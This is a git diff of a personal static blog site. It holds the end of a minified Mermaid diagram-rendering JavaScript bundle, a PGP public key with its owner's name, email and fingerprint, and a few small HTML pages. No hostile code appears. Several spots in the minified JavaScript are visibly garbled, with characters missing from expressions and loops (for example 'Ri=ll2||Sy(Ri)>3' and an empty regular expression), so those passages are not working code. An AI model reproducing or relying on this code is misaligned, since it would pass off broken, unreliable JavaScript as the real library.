0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),i.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),i.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),i.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),i.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),i.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),i.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in text"),i.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${r}`)},"draw"),O$={draw:Zet},o2e=O$;var Jet={db:{},renderer:O$,parser:{parse:o(()=>{},"parse")}},l2e=Jet;var c2e="flowchart-elk",ett=o((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ttt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:c2e,diagram:t}},"loader"),rtt={id:c2e,detector:ett,loader:ttt},u2e=rtt;var P2e="timeline",Ttt=o(t=>/^\s*timeline/.test(t),"detector"),wtt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(O2e(),I2e));return{id:P2e,diagram:t}},"loader"),ktt={id:P2e,detector:Ttt,loader:wtt},B2e=ktt;var J2e="mindmap",Rtt=o(t=>/^\s*mindmap/.test(t),"detector"),Ntt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z2e(),Q2e));return{id:J2e,diagram:t}},"loader"),Mtt={id:J2e,detector:Rtt,loader:Ntt},exe=Mtt;var fxe="kanban",jtt=o(t=>/^\s*kanban/.test(t),"detector"),Ktt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(hxe(),uxe));return{id:fxe,diagram:t}},"loader"),Qtt={id:fxe,detector:jtt,loader:Ktt},dxe=Qtt;var Xxe="sankey",brt=o(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Trt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yxe(),Wxe));return{id:Xxe,diagram:t}},"loader"),wrt={id:Xxe,detector:brt,loader:Trt},jxe=wrt;var nbe="packet",Rrt=o(t=>/^\s*packet(-beta)?/.test(t),"detector"),Nrt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(rbe(),tbe));return{id:nbe,diagram:t}},"loader"),ibe={id:nbe,detector:Rrt,loader:Nrt};var mbe="radar",ent=o(t=>/^\s*radar-beta/.test(t),"detector"),tnt=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(pbe(),dbe));return{id:mbe,diagram:t}},"loader"),gbe={id:mbe,detector:ent,loader:tnt};var x4e="block",wit=o(t=>/^\s*block(-beta)?/.test(t),"detector"),kit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(v4e(),y4e));return{id:x4e,diagram:t}},"loader"),Eit={id:x4e,detector:wit,loader:kit},b4e=Eit;var V4e="architecture",$it=o(t=>/^\s*architecture/.test(t),"detector"),zit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(G4e(),z4e));return{id:V4e,diagram:t}},"loader"),Git={id:V4e,detector:$it,loader:zit},U4e=Git;vd();Xt();var J4e="treemap",Kit=o(t=>/^\s*treemap/.test(t),"detector"),Qit=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Z4e(),Q4e));return{id:J4e,diagram:t}},"loader"),e3e={id:J4e,detector:Kit,loader:Qit};var t3e=!1,wy=o(()=>{t3e||(t3e=!0,xd("error",l2e,t=>t.toLowerCase().trim()==="error"),xd("---",{db:{clear:o(()=>{},"clear")},styles:{},renderer:{draw:o(()=>{},"draw")},parser:{parse:o(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:o(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),ev(u2e,exe,U4e),ev(MQ,dxe,sve,rve,Dfe,p1e,E1e,I1e,Nye,jye,bfe,vfe,B2e,Bge,Uve,$ve,s2e,X1e,jxe,ibe,wye,b4e,gbe,e3e))},"addDiagrams");pt();vd();Xt();var r3e=o(async()=>{X.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(gu).map(async([r,{detector:n,loader:i}])=>{if(i)try{av(r)}catch{try{let{diagram:a,id:s}=await i();xd(s,a,n)}catch(a){throw X.error(`Failed to load external diagram with key ${r}. Removing from detectors.`),delete gu[r],a}}}))).filter(r=>r.status==="rejected");if(e.length>0){X.error(`Failed to load ${e.length} external diagrams`);for(let r of e)X.error(r);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");pt();yr();var BC="comm",FC="rule",$C="decl";var n3e="@import";var i3e="@namespace",a3e="@keyframes";var s3e="@layer";var Bz=Math.abs,$4=String.fromCharCode;function zC(t){return t.trim()}o(zC,"trim");function z4(t,e,r){return t.replace(e,r)}o(z4,"replace");function o3e(t,e,r){return t.indexOf(e,r)}o(o3e,"indexof");function rd(t,e){return t.charCodeAt(e)|0}o(rd,"charat");function nd(t,e,r){return t.slice(e,r)}o(nd,"substr");function wo(t){return t.length}o(wo,"strlen");function l3e(t){return t.length}o(l3e,"sizeof");function ky(t,e){return e.push(t),t}o(ky,"append");var GC=1,Ey=1,c3e=0,ll=0,Ri=0,Cy="";function VC(t,e,r,n,i,a,s,l){return{value:t,root:e,parent:r,type:n,props:i,children:a,line:GC,column:Ey,length:s,return:"",siblings:l}}o(VC,"node");function u3e(){return Ri}o(u3e,"char");function h3e(){return Ri=ll>0?rd(Cy,--ll):0,Ey--,Ri===10&&(Ey=1,GC--),Ri}o(h3e,"prev");function cl(){return Ri=ll2||Sy(Ri)>3?"":" "}o(p3e,"whitespace");function m3e(t,e){for(;--e&&cl()&&!(Ri<48||Ri>102||Ri>57&&Ri<65||Ri>70&&Ri<97););return UC(t,G4()+(e<6&&uh()==32&&cl()==32))}o(m3e,"escaping");function Fz(t){for(;cl();)switch(Ri){case t:return ll;case 34:case 39:t!==34&&t!==39&&Fz(Ri);break;case 40:t===41&&Fz(t);break;case 92:cl();break}return ll}o(Fz,"delimiter");function g3e(t,e){for(;cl()&&t+Ri!==57;)if(t+Ri===84&&uh()===47)break;return"/*"+UC(e,ll-1)+"*"+$4(t===47?t:cl())}o(g3e,"commenter");function y3e(t){for(;!Sy(uh());)cl();return UC(t,ll)}o(y3e,"identifier");function b3e(t){return d3e(qC("",null,null,null,[""],t=f3e(t),0,[0],t))}o(b3e,"compile");function qC(t,e,r,n,i,a,s,l,u){for(var h=0,f=0,d=s,p=0,m=0,g=0,y=1,v=1,x=1,b=0,T="",S=i,w=a,k=n,A=T;v;)switch(g=b,b=cl()){case 40:if(g!=108&&rd(A,d-1)==58){o3e(A+=z4(HC(b),"&","&\f"),"&\f",Bz(h?l[h-1]:0))!=-1&&(x=-1);break}case 34:case 39:case 91:A+=HC(b);break;case 9:case 10:case 13:case 32:A+=p3e(g);break;case 92:A+=m3e(G4()-1,7);continue;case 47:switch(uh()){case 42:case 47:ky(Zit(g3e(cl(),G4()),e,r,u),u),(Sy(g||1)==5||Sy(uh()||1)==5)&&wo(A)&&nd(A,-1,void 0)!==" "&&(A+=" ");break;default:A+="/"}break;case 123*y:l[h++]=wo(A)*x;case 125*y:case 59:case 0:switch(b){case 0:case 125:v=0;case 59+f:x==-1&&(A=z4(A,/\f/g,"")),m>0&&(wo(A)-d||y===0&&g===47)&&ky(m>32?x3e(A+";",n,r,d-1,u):x3e(z4(A," ","")+";",n,r,d-2,u),u);break;case 59:A+=";";default:if(ky(k=v3e(A,e,r,h,f,i,l,T,S=[],w=[],d,a),a),b===123)if(f===0)qC(A,e,k,k,S,a,d,l,w);else{switch(p){case 99:if(rd(A,3)===110)break;case 108:if(rd(A,2)===97)break;default:f=0;case 100:case 109:case 115:}f?qC(t,k,k,n&&ky(v3e(t,k,k,0,0,i,l,T,i,S=[],d,w),w),i,w,d,l,n?S:w):qC(A,k,k,k,[""],w,0,l,w)}}h=f=m=0,y=x=1,T=A="",d=s;break;case 58:d=1+wo(A),m=g;default:if(y<1){if(b==123)--y;else if(b==125&&y++==0&&h3e()==125)continue}switch(A+=$4(b),b*y){case 38:x=f>0?1:(A+="\f",-1);break;case 44:l[h++]=(wo(A)-1)*x,x=1;break;case 64:uh()===45&&(A+=HC(cl())),p=uh(),f=d=wo(T=A+=y3e(G4())),b++;break;case 45:g===45&&wo(A)==2&&(y=0)}}return a}o(qC,"parse");function v3e(t,e,r,n,i,a,s,l,u,h,f,d){for(var p=i-1,m=i===0?a:[""],g=l3e(m),y=0,v=0,x=0;y0?m[b]+" "+T:z4(T,/&\f/g,m[b])))&&(u[x++]=S);return VC(t,e,r,i===0?FC:l,u,h,f,d)}o(v3e,"ruleset");function Zit(t,e,r,n){return VC(t,e,r,BC,$4(u3e()),nd(t,2,-2),0,n)}o(Zit,"comment");function x3e(t,e,r,n,i){return VC(t,e,r,$C,nd(t,0,n),nd(t,n+1,-1),n,i)}o(x3e,"declaration");function WC(t,e){for(var r="",n=0;n{E3e.forEach(t=>{t()}),E3e=[]},"attachFunctions");pt();var C3e=o(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");F3();w2();function A3e(t){let e=t.match(B3);if(!e)return{text:t,metadata:{}};let r=Kh(e[1],{schema:jh})??{};r=typeof r=="object"&&!Array.isArray(r)?r:{};let n={};return r.displayMode&&(n.displayMode=r.displayMode.toString()),r.title&&(n.title=r.title.toString()),r.config&&(n.config=r.config),{text:t.slice(e[0].length),metadata:n}}o(A3e,"extractFrontMatter");tr();var eat=o(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,r,n)=>"<"+r+n.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),tat=o(t=>{let{text:e,metadata:r}=A3e(t),{displayMode:n,title:i,config:a={}}=r;return n&&(a.gantt||(a.gantt={}),a.gantt.displayMode=n),{title:i,config:a,text:e}},"processFrontmatter"),rat=o(t=>{let e=qt.detectInit(t)??{},r=qt.detectDirective(t,"wrap");return Array.isArray(r)?e.wrap=r.some(({type:n})=>n==="wrap"):r?.type==="wrap"&&(e.wrap=!0),{text:bQ(t),directive:e}},"processDirectives");function $z(t){let e=eat(t),r=tat(e),n=rat(r.text),i=Vn(r.config,n.directive);return t=C3e(n.text),{code:t,title:r.title,config:i}}o($z,"preprocessDiagram");NA();e3();tr();function _3e(t){let e=new TextEncoder().encode(t),r=Array.from(e,n=>String.fromCodePoint(n)).join("");return btoa(r)}o(_3e,"toBase64");var nat=5e4,iat="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",aat="sandbox",sat="loose",oat="http://www.w3.org/2000/svg",lat="http://www.w3.org/1999/xlink",cat="http://www.w3.org/1999/xhtml",uat="100%",hat="100%",fat="border:0;margin:0;",dat="margin:0",pat="allow-top-navigation-by-user-activation allow-popups",mat='The "iframe" tag is not supported by your browser.',gat=["foreignobject"],yat=["dominant-baseline"];function N3e(t){let e=$z(t);return By(),ZG(e.config??{}),e}o(N3e,"processAndSetConfigs");async function vat(t,e){wy();try{let{code:r,config:n}=N3e(t);return{diagramType:(await M3e(r)).type,config:n}}catch(r){if(e?.suppressErrors)return!1;throw r}}o(vat,"parse");var D3e=o((t,e,r=[])=>` +.${t} ${e} { ${r.join(" !important; ")} !important; }`,"cssImportantStyles"),xat=o((t,e=new Map)=>{let r="";if(t.themeCSS!==void 0&&(r+=` +${t.themeCSS}`),t.fontFamily!==void 0&&(r+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(r+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let s=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(l=>{mr(l.styles)||s.forEach(u=>{r+=D3e(l.id,u,l.styles)}),mr(l.textStyles)||(r+=D3e(l.id,"tspan",(l?.textStyles||[]).map(u=>u.replace("color","fill"))))})}return r},"createCssStyles"),bat=o((t,e,r,n)=>{let i=xat(t,r),a=aH(e,i,t.themeVariables);return WC(b3e(`${n}{${a}}`),T3e)},"createUserStyles"),Tat=o((t="",e,r)=>{let n=t;return!r&&!e&&(n=n.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),n=Ji(n),n=n.replace(/
    /g,"
    "),n},"cleanUpSvgCode"),wat=o((t="",e)=>{let r=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":hat,n=_3e(`${t}`);return``},"putIntoIFrame"),L3e=o((t,e,r,n,i)=>{let a=t.append("div");a.attr("id",r),n&&a.attr("style",n);let s=a.append("svg").attr("id",e).attr("width","100%").attr("xmlns",oat);return i&&s.attr("xmlns:xlink",i),s.append("g"),t},"appendDivSvgG");function R3e(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}o(R3e,"sandboxedIframe");var kat=o((t,e,r,n)=>{t.getElementById(e)?.remove(),t.getElementById(r)?.remove(),t.getElementById(n)?.remove()},"removeExistingElements"),Eat=o(async function(t,e,r){wy();let n=N3e(e);e=n.code;let i=Qt();X.debug(i),e.length>(i?.maxTextSize??nat)&&(e=iat);let a="#"+t,s="i"+t,l="#"+s,u="d"+t,h="#"+u,f=o(()=>{let D=qe(p?l:h).node();D&&"remove"in D&&D.remove()},"removeTempElements"),d=qe("body"),p=i.securityLevel===aat,m=i.securityLevel===sat,g=i.fontFamily;if(r!==void 0){if(r&&(r.innerHTML=""),p){let E=R3e(qe(r),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe(r);L3e(d,t,u,`font-family: ${g}`,lat)}else{if(kat(document,t,u,s),p){let E=R3e(qe("body"),s);d=qe(E.nodes()[0].contentDocument.body),d.node().style.margin=0}else d=qe("body");L3e(d,t,u)}let y,v;try{y=await Ay.fromText(e,{title:n.title})}catch(E){if(i.suppressErrorRendering)throw f(),E;y=await Ay.fromText("error"),v=E}let x=d.select(h).node(),b=y.type,T=x.firstChild,S=T.firstChild,w=y.renderer.getClasses?.(e,y),k=bat(i,b,w,a),A=document.createElement("style");A.innerHTML=k,T.insertBefore(A,S);try{await y.renderer.draw(e,t,g4.version,y)}catch(E){throw i.suppressErrorRendering?f():o2e.draw(e,t,g4.version),E}let C=d.select(`${h} svg`),R=y.db.getAccTitle?.(),I=y.db.getAccDescription?.();Cat(b,C,R,I),d.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",cat);let L=d.select(h).node().innerHTML;if(X.debug("config.arrowMarkerAbsolute",i.arrowMarkerAbsolute),L=Tat(L,p,vr(i.arrowMarkerAbsolute)),p){let E=d.select(h+" svg").node();L=wat(L,E)}else m||(L=yh.sanitize(L,{ADD_TAGS:gat,ADD_ATTR:yat,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(S3e(),v)throw v;return f(),{diagramType:b,svg:L,bindFunctions:y.db.bindFunctions}},"render");function Sat(t={}){let e=Rn({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),jG(e),e?.theme&&e.theme in So?e.themeVariables=So[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=So.default.getThemeVariables(e.themeVariables));let r=typeof e=="object"?C7(e):A7();Dy(r.logLevel),wy()}o(Sat,"initialize");var M3e=o((t,e={})=>{let{code:r}=$z(t);return Ay.fromText(r,e)},"getDiagramFromText");function Cat(t,e,r,n){w3e(e,t),k3e(e,r,n,e.attr("id"))}o(Cat,"addA11yInfo");var id=Object.freeze({render:Eat,parse:vat,getDiagramFromText:M3e,initialize:Sat,getConfig:Qt,setConfig:n3,getSiteConfig:A7,updateSiteConfig:KG,reset:o(()=>{By()},"reset"),globalReset:o(()=>{By(gh)},"globalReset"),defaultConfig:gh});Dy(Qt().logLevel);By(Qt());Nf();tr();var Aat=o((t,e,r)=>{X.warn(t),qL(t)?(r&&r(t.str,t.hash),e.push({...t,message:t.str,error:t})):(r&&r(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),I3e=o(async function(t={querySelector:".mermaid"}){try{await _at(t)}catch(e){if(qL(e)&&X.error(e.str),hh.parseError&&hh.parseError(e),!t.suppressErrors)throw X.error("Use the suppressErrors option to suppress these errors"),e}},"run"),_at=o(async function({postRenderCallback:t,querySelector:e,nodes:r}={querySelector:".mermaid"}){let n=id.getConfig();X.debug(`${t?"":"No "}Callback function found`);let i;if(r)i=r;else if(e)i=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");X.debug(`Found ${i.length} diagrams`),n?.startOnLoad!==void 0&&(X.debug("Start On Load: "+n?.startOnLoad),id.updateSiteConfig({startOnLoad:n?.startOnLoad}));let a=new qt.InitIDGenerator(n.deterministicIds,n.deterministicIDSeed),s,l=[];for(let u of Array.from(i)){X.info("Rendering diagram: "+u.id);if(u.getAttribute("data-processed"))continue;u.setAttribute("data-processed","true");let h=`mermaid-${a.next()}`;s=u.innerHTML,s=P3(qt.entityDecode(s)).trim().replace(//gi,"
    ");let f=qt.detectInit(s);f&&X.debug("Detected early reinit: ",f);try{let{svg:d,bindFunctions:p}=await F3e(h,s,u);u.innerHTML=d,t&&await t(h),p&&p(u)}catch(d){Aat(d,l,hh.parseError)}}if(l.length>0)throw l[0]},"runThrowsErrors"),O3e=o(function(t){id.initialize(t)},"initialize"),Dat=o(async function(t,e,r){X.warn("mermaid.init is deprecated. Please use run instead."),t&&O3e(t);let n={postRenderCallback:r,querySelector:".mermaid"};typeof e=="string"?n.querySelector=e:e&&(e instanceof HTMLElement?n.nodes=[e]:n.nodes=e),await I3e(n)},"init"),Lat=o(async(t,{lazyLoad:e=!0}={})=>{wy(),ev(...t),e===!1&&await r3e()},"registerExternalDiagrams"),P3e=o(function(){if(hh.startOnLoad){let{startOnLoad:t}=id.getConfig();t&&hh.run().catch(e=>X.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",P3e,!1)}var Rat=o(function(t){hh.parseError=t},"setParseErrorHandler"),YC=[],zz=!1,B3e=o(async()=>{if(!zz){for(zz=!0;YC.length>0;){let t=YC.shift();if(t)try{await t()}catch(e){X.error("Error executing queue",e)}}zz=!1}},"executeQueue"),Nat=o(async(t,e)=>new Promise((r,n)=>{let i=o(()=>new Promise((a,s)=>{id.parse(t,e).then(l=>{a(l),r(l)},l=>{X.error("Error parsing",l),hh.parseError?.(l),s(l),n(l)})}),"performCall");YC.push(i),B3e().catch(n)}),"parse"),F3e=o((t,e,r)=>new Promise((n,i)=>{let a=o(()=>new Promise((s,l)=>{id.render(t,e,r).then(u=>{s(u),n(u)},u=>{X.error("Error parsing",u),hh.parseError?.(u),l(u),i(u)})}),"performCall");YC.push(a),B3e().catch(i)}),"render"),Mat=o(()=>Object.keys(gu).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),hh={startOnLoad:!0,mermaidAPI:id,parse:Nat,render:F3e,init:Dat,run:I3e,registerExternalDiagrams:Lat,registerLayoutLoaders:zI,initialize:O3e,parseError:void 0,contentLoaded:P3e,setParseErrorHandler:Rat,detectType:_0,registerIconPacks:O3,getRegisteredDiagramsMetadata:Mat},Iat=hh;return Y3e(Oat);})(); +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ +/*! Bundled license information: + +dompurify/dist/purify.es.mjs: + (*! @license DOMPurify 3.2.6 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.2.6/LICENSE *) + +js-yaml/dist/js-yaml.mjs: + (*! js-yaml 4.1.0 https://github.com/nodeca/js-yaml @license MIT *) + +lodash-es/lodash.js: + (** + * @license + * Lodash (Custom Build) + * Build: `lodash modularize exports="es" -o ./` + * Copyright OpenJS Foundation and other contributors + * Released under MIT license + * Based on Underscore.js 1.8.3 + * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors + *) + +cytoscape/dist/cytoscape.esm.mjs: + (*! + Embeddable Minimum Strictly-Compliant Promises/A+ 1.1.1 Thenable + Copyright (c) 2013-2014 Ralf S. Engelschall (http://engelschall.com) + Licensed under The MIT License (http://opensource.org/licenses/MIT) + *) + (*! + Event object based on jQuery events, MIT license + + https://jquery.org/license/ + https://tldrlegal.com/license/mit-license + https://github.com/jquery/jquery/blob/master/src/event.js + *) + (*! Bezier curve function generator. Copyright Gaetan Renaudeau. MIT License: http://en.wikipedia.org/wiki/MIT_License *) + (*! Runge-Kutta spring physics function generator. Adapted from Framer.js, copyright Koen Bok. MIT License: http://en.wikipedia.org/wiki/MIT_License *) +*/ +globalThis["mermaid"] = globalThis.__esbuild_esm_mermaid_nm["mermaid"].default; diff --git a/public-clearnet/keys/iman-alipour-pgp.asc b/public-clearnet/keys/iman-alipour-pgp.asc new file mode 100644 index 0000000..b7588db --- /dev/null +++ b/public-clearnet/keys/iman-alipour-pgp.asc @@ -0,0 +1,51 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +=mAs8 +-----END PGP PUBLIC KEY BLOCK----- diff --git a/public-clearnet/keys/iman-fpr.txt b/public-clearnet/keys/iman-fpr.txt new file mode 100644 index 0000000..7f5c1c0 --- /dev/null +++ b/public-clearnet/keys/iman-fpr.txt @@ -0,0 +1 @@ +55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A diff --git a/public-clearnet/page/1/index.html b/public-clearnet/page/1/index.html new file mode 100644 index 0000000..259b62e --- /dev/null +++ b/public-clearnet/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/ + \ No newline at end of file diff --git a/public-clearnet/page/2/index.html b/public-clearnet/page/2/index.html new file mode 100644 index 0000000..7f2d329 --- /dev/null +++ b/public-clearnet/page/2/index.html @@ -0,0 +1,44 @@ +AlipourIm journeys +

    How am I doing?

